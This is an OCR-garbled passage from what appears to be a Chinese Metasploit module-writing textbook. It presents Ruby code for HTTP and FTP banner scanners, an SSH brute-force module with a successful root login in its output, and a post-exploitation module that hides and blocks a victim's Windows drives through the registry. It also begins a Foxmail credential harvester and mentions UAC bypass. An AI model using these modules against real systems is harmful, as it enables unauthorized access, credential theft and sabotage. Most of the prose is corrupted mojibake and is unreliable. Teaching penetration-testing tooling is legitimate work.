Metasploith e (1) B B HESL LA faT 5, N i pARAS R4S th 1 — 4~ F A HEZR 36 -
require 'msf/core’

class MetasploitModule < Msf::Auxiliary

def initialize(info = {}
super (update_info(info,
'Name'' => 'Module name',
'Description' => %q{

Say something that the user might want to know.
}

'Author’ => [ 'Name' ],

'License’ => MSF_LICENSE
))
end
def run
# Main function
end
end

—/I\ﬂgglg—ﬂﬁ%ﬁé\y\@iiﬁﬁrequlre%%?ﬁi/\igE@J?Fj(ﬁ:ﬂ:ﬁﬁ‘, R sEAT
msf/coreff, AL, XAHEZLH AL T msfH 5 N i core 31

PRk F AR S B HMetasploitModul eff E X MMM, W H EMetasploit3 By
FMetasploitd, HBURTARAEN HAMRRA, 158 RN, B EE N A®., &
1|]EJX/|\%@J'#%>‘(T§'§E‘JJEH@%MSF :Auxiliary,

initializeJj i ERubydi feili & HHUERIANMIE I 5 . ROk, JeA1E ST 4R
(Name ), iR (Description ). 1'/]5% ( Author ). ifFE,f (Licensing) *ﬂCVE%‘E\%:D XTI
TR CRPERSR AT AR CAR B R A PRI S RO AR R H R s SR 2 A e
TR RS s VR R IT X MR AR 4455 VPl /e MsF_LICENSE, ST 1 7n 41X
—HF . A Y F R EUR run ik . BRI, BRABREME IR Z 00751, &N ITA B #AE
HRORILAE XA RB R T AT o (SRR IR EE M run T i TT IR AT
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223 SREBRHTTP IRFF[IIFEIER

AT —AF P HTTPRUAS BRI 0R , BHA TR TAER . X Metasploithibifi
TF/modules/auxiliary/scanner/http/http_version.rb,

TERGHKRF B X

# XA A Metasploi tiERM—H S, TH AT B MR

# i FMetasploit#) M ikhttp://metasploit.com/ R EFHTLXHN L 512 6
require 'rex/proto/http’

require 'msf/core

class Metasploit3 < Msf::Auxiliary

TR — X BN AR AT ZHER . — Bk, I i MetasploitB AR LA BRI
X LE T BB — 2L DL R P E R IF L AT, tH)require 'rex/proto/http' Al [ iZFF
B | AXNREXESCOEH S F BT HTTPEMS T i KL, BT A5 W0F & B 7R f9/lib/rex/proto/http
H ST ST BRAE B PT ARG T 1

root@mm: /usr/share/metasploit-framework/lib/rex/proto/http# 1ls -X
handler client.rb handler.rb request.rb server.rb
packet client request.rb packet.rb response.rb

DS T AR REHT TP, A T BB LA s AL,  GETHIPOSTYTR K AN
I AR PRAE:

TR A require 'msf/core' f U] TiZFEFH-E 5| AMetasploit I BTG corefi 1
fjclass Metasploit3iE X T X BACILIE T Metasploit 35 B = AN . 7540, Msf: : Auxiliary
TE ST X B 2R A B R B2 RS AR X B A

# BHAARAEnixins £

include Msf::Exploit::Remote::HttpClient

include Msf::Auxiliary::WmapScanServer

AR B ESEnixins £

include Msf::Auxiliary::Scanner

LA R LS T TR LT R RSO, TR RS R TR S TR B A
Tridie BRI T RXLFEICIFTRANE B

B A ®7 B &
Msf::Exploit::Remote::HttpClient /lib/msf/core/exploit/http/client.rb AR TR R E:, il
P AR AL, REiER, U
W 5% P 5
Msf::Auxiliary::WmapScanServer /lib/msf/core/auxiliary/wmapmodule.rb /R 7] fE /£ 78, f{t & & WMAP ?

WMAPEQ kI T Metasploitfy i@
Web o, FERFHHHHESE, A BT 5E
Metasploitft) WebiZ & i,

Msf::Auxiliary::Scanner /lib/msf/core/auxiliary/scanner.rb A SRS T H Tt R A BT
AEg, 1Rt TEGslT. B
IRt R R AN
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Z I AR FRATAAE SR A T X SE SO, 2 PR AE AT I AR ] T i A require
'msf/core', X—HAREE, HHERE F—BAUE,

def initialize

super (
'Name' => 'HTTP Version Detection',
'Description' => 'Display version information about each system',
'Author' => 'hdm',
'License’ => MSF_LICENSE

)

register_wmap_options ({
'OrderID' => 0,
'Require' => {},
}
end
B 3E L T initialize i, XANHIEWIIRIL T 1% Metasploitii I EEASEL, 1]
mAFR. VEH . R LA T A A Metasploithi B (11 ] FIWMAPEIR (I ERIAS 2L . B H IS
e —ar

def run_host (ip)

begin
connect
res = send_request_raw({'uri' => '/', 'method' => 'GET' })

return if not res
fp = http_fingerprint (:response => res)
print_status ("#{ip}:#{rport} #{fp}t") if fp

rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
T T 1 BRBSCR AT F S R Y R4 S
EEFNEE 3
TR T AR I Y R
I E x # I -
run_host /1lib/msf/core/auxiliary/scanner.rb StHgE EWEIT RN EE
connect /1lib/msf/core/auxiliary/scanner.rb FSRFN B bR AU
send_raw_request /core/exploit/http/client.rb FﬁﬂéﬁﬂEﬂtﬁiﬁiﬁﬂﬁﬁéﬁ@IiTTPféﬂi
request_raw /rex/proto/http/client.rb send_raw_request 2 Y5 B (L8 45
request_raw
http_fingerprint /1lib/msf/core/exploit/http/client.rb WEHT TP S AT A AT A P2 &

SR FE AR, XN — % Nrun_host I EE, 0 HIPYE N SR 3
HLAEFERIZEL . J7iirun_host & M/lib/msf/core/auxiliary/scanner.rb SCHAFH 5| A o X748
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HEER VBT K, W ERTR.

if (self.respond to?('run_ range'))
# No automated progress reporting or error handling for run range
return run_range (datastore[ 'RHOSTS'])

end

if (self.respond to?('run_host'))

loop do
# Stop scanning if we hit a fatal error
break if has fatal errors?

# Spawn threads for each host
while (@tl.length < threads max)

# Stop scanning if we hit a fatal error
break if has_fatal errors?

ip = ar.next_ip

break if not ip

@tl << framework.threads.spawn ("ScannerHost ( ) - ", false, ip.dup) do |tip]|
targ = tip
nmod = se'_:‘.rellicant

nmod.datastore[ 'RHOST'] = targ

TR, FATER T begin iy, REWREMIBIRIITG . 7E8 TRIEAF, nTLIEF
connectJ5 ik, XAIIESS AbRMRS avdisr — PMHTTPR ALY ZE L .

TR FoRMIE R E LT — 2 Nres AR B RAFMEMINL . FRAT A 228 il /core/exploit/http/
client. b3 fFH i send_raw_request iEE, B XN ENSHBURIMERE N/, 28 nethod
RYME 1% B NGET,

# Connects to the server, creates a request, sends the request, reads the response
#
# Passes +opts+ through directly to Rex::Proto::Http::Client#request raw.
#
def send request raw(opts={}, timeout = 20)
if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
actual timecut = datastore['HttpClientTimeout']
else
actual timeout = opts[:timeocut] || timeout
end

begin
c = connect (opts)
r = c.request _raw(opts)
c.send recv(r, actual timeout)

rescue ::Errno::EPIPE, ::Timeout::Error
nil

end

end
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AT ST IREZE B IRSS 4%, BIE—AER, Ak ANEeR, FRUmn;, Fkex
AR N R RN A fEresH

H 5 /rex/proto/http/H i) client.rb SCIHR A T SRR A K 2 )5, X A 7 vk DAL
irikrequest _raw., AREZALESEINIRPRENSE, XEEENEHt 4.

#

# Create an arbitrary HTTP request

#

# @param opts [Hash]

# @option opts 'agent' [String] User-Agent header wvalue

# @option opts 'connection' [String] Connection header wvalue

# @option opts 'cookie' [String] Cookie header walue

# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)

# @option opts 'encode' [Bool] URI encode the supplied URI, default: false

# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods
# @option opts 'proto' [String] protocol, default: HTTP

# @option opts 'query' [String] raw gquery string

# @option opts 'raw_headers' [Hash] HTTP headers

# @option opts 'uri' [String] the URI to request

# @option opts 'version' [String] version of the protocol, default: 1.1

# @option opts 'vhost' [String] Host header value

#

# @return [ClientRequest]

def request raw(opts={})
opts = self.config.merge (opts)

opts['ssl'] = self.ssl
opts['cgi'] = false
opts['port'] = self.port

req = ClientRequest.new (opts)
end

resfE—MHRIAELE R IR . T —548 2 A MRIERA M), Wk E; 4niRiEsR 2,
PAT T — ka2 . — 42 B AT B 25 12 17 /lib/msf/core/exploit/http/client.rb 3 14 H1 )
http_fingerprintJiik, JFHEERIAEREI— 2 0 o8 R b 2R e g E R (n
Set-cookie, Powered-by%¥ ), XNk E—HTTPHIN R TEE . Fit, AT
SRR R A — DS BRI E S res, X RIRAE FAARYE Z Fi A 17K A e [ Z5E 264 TR DL
BeTAE. BRI, WERXANSEOCATEE, XL TRIG SE AT AT T2 8dE . 72~ —17,
FeArIfa et TN . B —fTH)rescue ::Timeout::Error, ::Errno::EPIPE, BFEAE
REHGR T A 0L T A BRAR 7 ) S8

BAE, IEBAPRIETTRAER, FESRm 4.

msf > use auxiliary/scanner/http/http version

msf auxiliary(http version) > set RHOSTS 192.168.10.105
RHOSTS => 192.168.10.105

msf auxiliary(http version) > run

[*] 192.168.10.105:80 Apache/2.4.10 (Debian) ( 302-login.php )
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
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RAERNELE R T — MY TARRY o 1EFA TR LR 13 —J20k, MRS B E
SR o

224 HWE—IBEEX FTP A#IEFIER

PHER I K — R FATRIT K — R AYFTPAR S5 PR, JF TR e T
YRR, He TR A& AFTPAI AR .

require 'msf/core’

class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize

super (
'Name'' => 'FTP Version Scanner Customized Module',
'Description' => 'Detect FTP Version from the Target',
'Author’ => 'Nipun Jaswal',
'License’ => MSF_LICENSE

)
register_options(
[
Opt::RPORT(21),
], self.class)
end

&1[]591&5%}%%%%%%}?}@%0 E%ﬁﬁﬁﬂ@fﬁﬁ%l?iﬁ@required 'msf/core’, FE?
HEHIA T coreff o #4578 LT ANEERIALE A BT @ 2578 ik LA A S — 4 B 2R R Bl i2pd
PG Z RN AR —FE . T —, & LR LA E T coreFEZ Hh Y 3

SINIEA B ® B &
Msf:Exploit::Remote::Ftp /lib/msf/core/exploit/ftp.rb fgé;j’Eﬁ¥§FTP%§1ﬁ*H§QH@j§&£, Fban
HESLFTPI%ES:, FTPARSS ok, KIEFTP

Msf::Auxiliary::Scanner /lib/msf/core/auxiliary/scanner.rb  fu& | & Fhiib 00 VR E, 18
WTIRZ Tk, HlaESREST. MItait
AR A1 55

Msf::Auxiliary::Report /1ib/msf/core/auxiliary/report.rb B T E S R, X EE R T LR
;E@ﬁ%ﬁﬁ¢%ﬁﬁﬁ%ﬂﬁﬁ

BTk, fiflinicializeldy e SUXMERAYBIERGE R, Bk | s | 1FT e,
W XTI PGE AT T E AL, i, X IR TR RPORTHEBLE 21, BORFTPHYERIA S
Mo ERN ARG BT

def run_host (target_host)
connect (true, false)
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if (banner)
print_status ("#{rhost} is running #{banner}")

report_service(:host => rhost, :port => rport, :name => "ftp", :info =>
banner)
end
disconnect
end
EEFNEE
LT KRB LR kgL, TR IR R IR
SR E X # I -
run_host /1lib/msf/core/auxiliary/scanner.rb SRS EVLS T — IR B
connect /1lib/msf/core/exploit/ftp.rb TR 5 EMLE ST — /P Btbanner, 4R )5
El 385X /> banner (R A7 3 45 5 H
report_service /1lib/msf/core/auxiliary/report.rb LT TR S FAR S 40715 8 I3 B e 2 vh

BATE XL T run_host ik, ©RIENBRTFIHEITE; Miconnect REHWIIRL— %1
FIHPRIERE . BRATFZ W connect IEERMEMINSEL: trueflifalse, S8 true® X T 2R
SHINH, M falserd SCRHEHUNTEANTIRE . R¥connect WILSTETERE H sl B,
DL A S FTPIR 55 BIARURAE R 44 Nbanner (B, 407N 1 AR R IK T s o

#

# This method establishes an FTP connection to host and port specified by
# the 'rhost' and 'rport' methods. After cornecting, the banner

# message is read in and stored in the 'banner' attribute.

#
def connect(global = true, verbose = nil)
verbose ||= datastore[ 'FTPDEBUG']
verbose ||= datastore[ 'VERBOSE']
print_status(“Connecting to FTP server : ...") if verbose

fd = super(global)

# Wait for a banner to arrive...
self.banner = recv_ftp resp(fd)

print_status(“Connected to target FTP server.") if verbose

# Return the file descriptor to the caller
fd
end

EXAEERARAFE] T banner@PET, H R 7ERSSHTENG X P oanner BIm] o 321 1A FH
PRi%ilreport_service, WHAREIE PRAFAELHE 2 UL 2 J5 3038 A i 2 gt o XA R
{37 Fauxiliary [ H i report.tb SUAFH, report_service ARSI T EIFTR .,
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#
# Report detection of a service
#
def report_service(opts={})
return if not db
opts = {
:workspace => myworkspace,
itask => mytask
} .merge(opts)
framework.db.report_service(opts)
end

def report_note(opts={})
return if not db
opts = {
:workspace => myworkspace,
:task => mytask
} .merge(opts)
framework.db.report_note(opts)
end

1] report_serviceﬁ?ﬁ}%fﬁﬂgéﬁﬁgﬁﬁ%#/I\jf‘zz*iframework .db.report_service
PRAFE) T HBHEE, XA T /lib/msf/core/db_manager/service.rb, 45E A T T A i FIEAEZ
i, SRR LAUIRT A B bR 2 [ &R T .

ISR AR, USRI 2490 5 — BE ) B A R A — e R AR e
e 1 Amsftidy

TEff Fns friayisf 7k MR Z [T, Bk A — F X LENI W & AR a2 R R IER . A
I, AL Metasploitth 24 Ams fridy (N E T H, WFEPIR,

root@mm: ~# /usr/share/metasploit-framework/tools/dev/msftidy.rb /usr/share/metas

ploit-framework/modules/auxiliary/scanner/ftp/ftp_version by nipun.rb

fusr/share/metasploit-framework/modules/auxiliary/scanner/ftp/ftp_version by nip

un.rb:31 - [ 1 Spaces at EOL

root@mm: ~#

AR T — R E ML, TERBRB I T — 2Rk, IR g £ T8
JHR M, R EH M FIms fridy . WIARRARIRIER T, XEWRE X MERTEEE EAEE
R T o

T, BB TR MBI AR A MEERIER .

Imsf auxiliary(ftp version by nipun) > run
[*] 192.168.10.110 is running 220 (vsFTPd 2.3.4)

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Insf auxiliary(ftp_version by nipun) > services

Services

host port proto name state info

192.168.10.110 21 tep ftp open 220 (vsFTPd 2.3.4)
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A AR, XA RGBT TR R, 545 B AR SS 287621 50 1 iz 17 AR 45 ¥ banner,
RivsFTPd 2.3.4, b — A ) phi%ireport _servicel B RAF IR S 7B, FRATAT LA

servicesfit 2 REBXNTEL,

8 £ % A % Metasploit™@l B s448 389 3 0L, 3% 3% ¥l https://github.com/rapid7/

metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements..

225 HwmE—/1HENXH SSHIAIER I fEes

N T A LS AR RIS 114, 5 B S — MAER: B o X Sl U (A BB
AR P P 55 14> 28 0] AR CRIERR A BEASCRRT IRl A o ik Sl i o AR 2 T — 2
BERLAE I 28 D i 2 S5 2 R GHELE DR, T PRI 2 A RE TR B i S 4 st

P RIS — A TR SSHAR 55 A IE 15 &2 4 e 8 25 21l F Metasploit i i 1 —4
R HUE 2 A MR B, SR A BB 1 —3 4

require 'msf/core’
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/ssh'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute
def initialize
super (
'Name' > 'SSH Scanner',

'Description' => %q{

My Module.
}
'Author’ => 'Nipun Jaswal',
'License’ => MSF_LICENSE

)

register_options (
[
Opt: :RPORT (22)
1, self.class)
End

TERTE BRI, RATELES 75 Avst: :Auxiliary::ScannerfIMsf: :Auxiliary::
Report WHEEME, THLH 17— T AR, TREEE.
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SINIER) B =7 B &
Msf::Auxiliary::AuthBrute /1lib/msf/core/auxiliary/auth_brute.rb P T SRR DB YL EI RN T,
m,ﬁmﬁﬁTﬁﬁﬁﬂimF

ZRELR, R, EHDE
I

AT ARSI T =AESCF, 40l /& mst/core . metasploit/framework/login_scanner/ssh il
metasploit/framework/credential_collection . msf/core £ 3L 44 % T core JFE 1Y i 1% metasploit/
framework/login_scanner/sshfl &% T SSHE SR, FI XA AT DLk iy i FahidE, i
AL T SSHEAHEAY LA AP, metasploit/framework/credential _collection B F A 13 4 ff Fdatastore
PR, QIR A B SRR

Bk, A& T ERNA A LAGETAZER, XA TZ R —FE . fEinicializedR
I ARRHE T EAMGE R KT T A .

def run_host (ip)

cred_collection = Metasploit::Framework::CredentialCollection.new
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],

)

scanner = Metasploit::Framework::LoginScanner: :SSH.new (
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
proxies: datastorel'Proxies'],
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: datastore['SSH_TIMEOUT'],
framework: framework,
framework_module: self,

)

A A P F BRI S, AR cred collection%‘ﬂscannero B — I
B, 1RGSR BISSHAR S B AT Ed AT F o, BB S a i TAE, i,
cred_collectionfU{ LI T #& MBI AF LTI R % B8 - FTIIE . CredentialCollectionZk
PRHEAE T, EREAT DIE—R B R TE— R P 2G| A 25 P A
1B, dnf Dh—k Rt —FhdE.

WﬁE@%%ﬂﬁ%ﬁﬁlﬁ%@@ﬁﬁcrmemialxtﬁ%w*%ﬁéf’ﬁ FEARAS R E X . scanner
YW T X —ASSHEXT R wthtk . XX L EiE T BAssak . sm o
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CredentialCollectionZ$r A A SEAENEAHALAG B, A FEICHE B . stop_on_success
B (WM, S SRR IE R 5 SR R UEZ 515 0k ). 5% 7 M At v 5 DA R 85 S e It
0=

F Mk, BATELLIE T cred_collectionfllscanner R, Hiffcred_collection
FREFET P AU AT B FAEIE, scanner X R 2 fi X So B SEEIE R34 Bk, 8 Tk
BB SC— AL, XML R 2 e X B ARl e (i FH ) e v () r g B S AR, i R
SRS E N SHGH T .

TEZ ARG, FATE A2 T run_host WY . 5 T RA B RS hn] DL 4 7l
JAE SO AR A PR KR

& % E ox # B
create_credential () /1lib/msf/core/auxiliary/report.rb Mresulthfg HERPER B EIE
create_credential_login() /1lib/msf/core/auxiliary/report.rb Mresultitge Gl E@R S EIE, FilH

XAEE AT LIRS e i AR 55
invalidate_login /1lib/msf/core/auxiliary/report.rb fﬁ;E&%iEAAEE%fEi%ﬁﬂﬁé%)ﬁé&ﬂ@%iﬁ%
FEIE
ENTECHTNgS s oy ¥

scanner.scan! do |result]|
credential_data = result.to_h
credential_data.merge! (
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential (credential_data)
credential_datal[:core] = credential_core
create_credential_login(credential_data)

print_good "#{ip} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip} - LOGIN FAILED: #{result.credential}
(#{result.status}: #{result.proof})"
end
end
end
end

i . scanil ISEBLEIG ORI IA ML, ©F 52 BT A 198 24— X FR AT IEHE & HAth
BLifilo . scantg 2 LA 24 FRubyH i eachffIF1EF]

T—ARERHEERAAFR T resul X R, IHdH o _n kXX NS5 R TR 5 7 B g
AFfrcredential_data. to_h i iEAER R EBIRFE A g, N —1 PR 24 2T
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fEIXid G FF 3| credential_data®mEH, B N —F7E if-elsel®d A F# [ result X 4
1. success AR AWM, XAEREFRIRXT HIRHERIE R i result. success?
B A crue, BB RIGIRERD, IR HRARIEIR T A i A S A
FREOR R XA G R T E 1 S invalidate_logindith, FRIXKE AR T .

e AR AT DL SR e AT, el ms £ o i ay W e T — b dr . T 2l

IBATIX SR

msf > use auxiliary/scanner/ssh/ssh_brute

msf auxiliary(ssh brute) > set RHOSTS 192.168.10.110
RHOSTS => 192,168.10.110

msf auxiliary(ssh brute) > set USER FILE /root/user
USER FILE => /root/user

msf auxiliary(ssh brute) > set PASS FILE /root/pass
PASS FILE => /root/pass

msf auxiliary(ssh brute) > run

[*] 192.168.10.110 - LOGIN FAILED: admin:18101988 (Incorrect: )
[*] 192.168.10.110 - LOGIN FAILED: admin:26021963 (Incorrect: )
[*] 192.168.10.110 - LOGIN FAILED: admin:sjjhds2565 (Incorrect: )
[*] 192.168.10.110 - LOGIN FAILED: admin:asass25555 (Incorrect: )
192.168.10.110 - LOGIN SUCCESSFUL: root:18101988

[*] 192.168.10.110 - LOGIN FAILED: cat:18101988 (Incorrect: )

[*] 192.168.10.110 - LOGIN FAILED: cat:26021963 (Incorrect: )

[*] 192.168.10.110 - LOGIN FAILED: cat:sjjhds2565 (Incorrect: )

a5 P 4 rootF1% 6518101988, T 18 & a 53 T HbrR S5 o 3 F ki creds
A2 AT PRAT BB 2 v B 8 SR I

[nsf auxiliary(ssh brute) > creds
Credentials

host origin service public private realm private_t

192.168.10.110 192.168.10.110 22/tcp (ssh) root 18101988 Password

|msf auxiliary(ssh_brute) > [J

BAERT LIRS, BT RS A A C 205 TR e o FIATXLEE R, nTRISeBli— 2
AR oy A B B AR o

BN AREREXMIE
QR R i T BB o R R, BRIk — 2 TR

() FTE LA T—1CredentialCollectionX¥f 4, EOBACHITA SR A0 A F i AR
FPAEIE . X 2 B IR ATTHR AL (%) FH ™ 24 R AR 2 B2 6 G IA e P IR o A i an SR
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USER_FILEMIPASS_FILEVE MM, XX Gt 20 A M () B — AN P 24 e — AN i itk A 7
—RAE, X HEERN—AFH P EIE,

(2) ASSHAR S5 A T —Pscanner X%, X MXIZMEMERITA T Adn S, ARIK
UM FA TR ALY BT P 24 P RS AL

() il . scaniikizfTscanner, RXFERLATLUTUS HARMHT - CEUESES T 2% J1 AR o

4) .scan FIEKB SR KM A P ABIE 2208 5% . SRRl 1, S
print_good pRETT ENG H FR HARAE RN B R, BB @ Hprint_statustTEJRREEATRLT
AR

226 HmE—NMLEEKMHNESERR

FATC L T 7RI IERl, BERTIEE—, SREIE—RB B T 2L,
HATERIEE— ARG, AT LLE TR B EEk .

DAL — A B A ] AR I i ——— ] IS Windows 10824 R 40 E 995
BRI BT o R AU AT

require 'msf/core’
require 'rex'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows: :Registry
def initialize

super (
'Name' => 'Drive Disabler',
'Description' => 'This Modules Hides and Restrict Access to a
Drive',
'License’ => MSF_LICENSE,
'Author’ => 'Nipun Jaswal'

)
register_options(
[
OptString.new('DriveName', [ true, 'Please SET the Drive Letter' 1)
1, self.class)
end

RUEITFIATT 205 LLRT AR —E o T PR R 8 B B 5 2 A SRR 22 S5 AR TAR
b i P RERTTIAREL LS.

SINER B B &
Msf::Post::Windows: :Registry 1lib/msf/core/post/windows/registry.rb Ruby B A £ AR AT
HAHBIEMRTIEE




70 % 2% 1k H4Led Metasploit 5% M XAE 2

PR E U Y ZE A FlMetasploit R TIUHIRAS . FEX A7l FRATR A iy 8l e SR
Post KEM X E— NGB BLEMABR, MiMetasploit3 ATMIMA ., Ff1fEinitializely
Do LS B SR XA, (i fregister_optionsiE XAH P I F & X
Wi, JfHfEHoptstring. newffDriveNameE XN FAFERAA, BE X — ki, w2
required%ﬂdescriptionpﬁ/l\%%}x%(o X THFE R requiredHIE E Htrue, FNTRATFE—
D EFFARIE SRR A S A R RE . X MER B HerveZ 5, BRI — MEAECS XM,
BN BH A G 3. #F ok, FATE X THBINAYDriveName BB AR .

TEPHIR IS B Z AT, SooRB R X MG R 20 3 A T 2R 4L

BT - E X # B &
meterpreter_registry_key_exist lib/msf/core/post/windows/registry.rb BEEEMED LT
FE—AHEE s
registry_createkey lib/msf/core/post/windows/registry.rb Bl — AR Fe

meterpreter_registry_setvaldata lib/msf/core/post/windows/registry.rb Bl —AE i R A

R ARAR XA AT )

def run

drive_int = drive_string(datastore['DriveName'])
keyl="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explore
o

exists = meterpreter_registry_key_exist? (keyl)

if not exists

print_error ("Key Doesn't Exist, Creating Key!")

registry_createkey (keyl)

print_good("Hiding Drive")

meterpreter_registry_setvaldata(keyl, 'NoDrives',drive_int.to_s, 'REG_DWORD',
REGISTRY_VIEW_NATIVE)

print_good("Restricting Access to the Drive")
meterpreter_registry_setvaldata (keyl, 'NoViewOnDrives',drive_int.to_s, 'REG_D
WORD',REGISTRY_VIEW_NATIVE)

else

print_good ("Key Exist, Skipping and Creating Values")

print_good ("Hiding Drive")

meterpreter_registry_setvaldata(keyl, 'NoDrives',drive_int.to_s, 'REG_DWORD',
REGISTRY_VIEW_NATIVE)

print_good ("Restricting Access to the Drive")
meterpreter_registry_setvaldata(keyl, 'NoViewOnDrives',drive_int.to_s, 'REG_D
WORD',REGISTRY_VIEW_NATIVE)

end

print_good("Disabled #{datastore['DriveName']} Drive")

end

— T LMl run iRz 1T — N R B @B, FrLARNITRE Lrun i ¥, FEX N run gkt
B EDriveName K ik %5 drive_string ik ARSI X N I BUE.,
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Bl — 2 Hkeyl AR 5, SR 5B W 3R 09 7 B AR AEAE X AR i rp X BBl
meterpreter_registry_key_existjﬂfﬂéﬁﬁ ERGEHREERD é’éﬁ?’flzﬂfﬁq‘%%’%ﬁ o

MR NHOAAE, P hexists M SBIRE Herue, HMBASHEME N false, IR
existsf{E Nfalse, Mfiflregistry createkey (keyl) RAIE—AEMFEHE, KRG HA]
EEMENE; WRXNMENcrue, M HEFEREEAERT],

R T SEE R EAT A BSORE R I SR, T A AR R, B4 5 M NoDrives Fll
NoViewOnDrive, {E A10#EHIE#H 16056 2R MEST, & LAY2EEIHDWORD,

ﬂﬂ?ﬂiﬂ”ﬁﬂﬂ%%Meterpreterﬁé\ﬁrf, Fﬁ‘w\ﬁfU\fi}zﬁmeterpreter_registry_setvaldata
ﬁ?fifﬂﬁﬂﬁ/l\?fﬂﬂi‘éﬁ%&ﬁ%o?iéﬂ‘]%%%rﬂ I%lﬁmet erpreter_regi stry_setvaldata?%ﬁES
MSHUGHFERRIEIEHE1T, XS HEEE . 1P R RS | VA R 2
AITENERAE . 1 108 E B RN Y RE B AAT (X AMEL A OO I 4 R AL ), T4
FR ISR W RAE BRI AR LI (BIA6°00, BEE 1 RR320 AL, B8 23R
64N ALIE ),

?ﬁﬁﬂiﬁTé/lﬁﬁﬁﬁmeterpreter_regi stry_setvaldataﬂ‘]ﬁ?@ﬂ :

meterpreter_registry_setvaldata (keyl, 'NoViewOnDrives',drive_int.to_s, 'REG_D
WORD',REGISTRY_VIEW_NATIVE)

TEXBACIS T, FRATEA B 1 E Nkeyl, [HIBEE ANoViewonDrives, 10| AY43%/RDE,
REG_DWORDVE MIEM R AIZEA! | REGISTRY VIEW _NATTIVEZE/RIE MO,

LG P32 EM A, FERHEMB AR E A, B RleMLeiEMEA, N
8 TRRXE A2, X HAMELT A4 JH REGISTRY_VIEW 32_BIT 7 REGISTRY
VIEW_ 64 BITRAH,

PRATRE AR BT B I AR M FHAVE A AT DRI ? R IR E & X M A A S AR .

X A5 B EAFRERS TR, W MBI A ARSI 8 T T 95 ]-1) 0 B AnFRATT7HR 24
FE#LC, MCRFRRTASEINFAF, KA H AL MER RS Y B AT Frs

27 (3-1)=2/2=4

SR CEMEIS(E 4, e LR, AT Edrive_string Tkl casesr i)
Xf— SO SEH TGS . T 2 S AR

def drive_string(drive)

case drive

when "A"
return 1
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when "B"
return 2

when "C"
return 4

when "D"
return 8

when "E"
return 16
end

end

end

MRS AT A e, DA S8, XA eR &t n] LR [ X R AR EUE,  HEaniiD
AR IPHERES . T s T iX MR A E TA TR B0 %

msf post(disable drives) > show options

Module options (post/windows/manage/disable drives):

Name Current Setting Required Description
DriveName D yes Please SET the Drive Letter
SESSION 2 yes The session to run this module on.

msf post(disable drives) > set DriveName D
DriveName => D
msf post(disable drives) > run

Key Exist, Skipping and Creating Values
Hiding Drive
Restricting Access to the Drive
Disabled D Drive

[*] Post module execution completed

msf post(disable drives) > [J

T, IERNDRER RS T s #D: .

~ Folders (6)

- Desktop "= Documents ‘ Downloads

~ Devices and drives (2)
- Local Disk (C:) MI (E)
am ] |
-y 128 GB free of 243 GB .y 363 GB free of 394 GB
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KFET ! DRI T o A VSRS 5 DAL BIHRATH L 1.

AR Z LA R BB, ST DAL 1o FAHURTEMetasploit 7 5T 2 1E—26
HTJ‘ IEJ o

BB AR 265 T RES VI RIBER A T AR o 3R R R G 1 A B
FTE Bbn RS L AIENE MR, AR SUAE SHTH P LA E R, 54, A1l HaxLy
1M AN JEHKEY_LOCAL_MACHINESE [H i REE M B PRI 2 B sh A e e U s . LR
Fr4 ] registry.rb3CH, A H AT AP k.

Yo R AR B ATIRAE & 4 Windows 7o 3E4F R A E AR, T h 24k
8 JA exploit/windows/local/bypassuac £t 3, K )G AT I R R4 4
(getsystem), ZJ)&BIATH @ aGHLE

227 HE—NMREERZIENEZIERR

XA R B, AT 1 AR EFoxmail 6.5, FRATKE 228X B SRR TR, K5
e EEdRE . Tgy i 7RSI .

require 'msf/core’

class Metasploit3 < Msf::Post
include Msf::Post::Windows: :Registry
include Msf::Post::File
include Msf::Auxiliary::Report
include Msf::Post::Windows: :UserProfiles

def initialize(info={})
super (update_info (info,
'Name' => 'FoxMail 6.5 Credential Harvester',
'Description' => %g{
This Module Finds and Decrypts Stored Foxmail 6.5 Credentials
}

'License’ => MSF_LICENSE,
'Author' => ['Nipun Jaswal'],
"Platform' => [ 'win' ],
'SessionTypes' => [ 'Meterpreter' ]

))

end

R g AU R, IR R AT T BRI, R e TR MR Y
HAEE

FATZ AT &2 id TMsf: : Post: :Windows: :Registry MIMsf: :Auxiliary: :Report

M, RS T A o B —SE RSO A 2
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SINER B = [ -
Msf::Post::Windows: :UserProfiles 1lib/msf/core/post/windows/user_profiles.rb #ft T Windows &
GE W0 7 A L B 3
e, BHExEEA
TR AR
Msf::Post::File lib/msf/core/post/file.rb PR T & P E ST

RS, Bilanse
PR, HFeh 2,
HFI%. X5

NG

TEIVHR=A IR Y T —E AT, STk 1 — NS S Sk iR A
(1) FAE R P, AT P A Local AppData S B HER (2 o

() i F B B A, I H 5 \VirtualStore\Program Files (x86)\Tencent\Foxmail\mail
HERE, ST — D mail U Y SE R ER AR

(3) FN i mail SR T 1 i e, IR e R B — DB . FEmail SCPFH Y 4
— NSO () 24 RIS R — A WRAE FH P 44, e Ainipunjaswal @rocketmail.com#f A L) f&mail
SCIE T B —A SR

